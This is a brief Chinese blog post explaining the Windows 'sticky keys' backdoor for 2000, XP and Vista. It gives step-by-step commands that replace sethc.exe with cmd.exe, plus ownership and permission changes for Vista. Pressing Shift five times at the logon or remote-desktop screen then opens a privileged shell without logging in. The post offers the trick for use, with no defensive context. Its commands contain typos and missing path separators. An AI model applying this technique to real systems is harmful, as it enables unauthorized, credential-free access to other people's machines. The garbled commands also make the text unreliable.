2000/xp/vista下5次shift的粘滞键利用
这篇文章里说的方法和欠钱前2天说的用explorer.exe替换sethc.exe然后在3389下用5次shift获得资源管理器的方法差不多,不过做了一些扩展,蛮有意思~
在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。
XP:
将安装源光盘弹出(或将硬盘上的安装目录改名) cd %widnir%system32dllcache ren sethc.exe *.ex~ cd %widnir%system32 copy /y cmd.exe sethc.exe |
VISTA:
takeown /f c:windowssystem32sethc.exe cacls c:windowssystem32sethc.exe /G administrator:F 然后按XP方法替换文件 |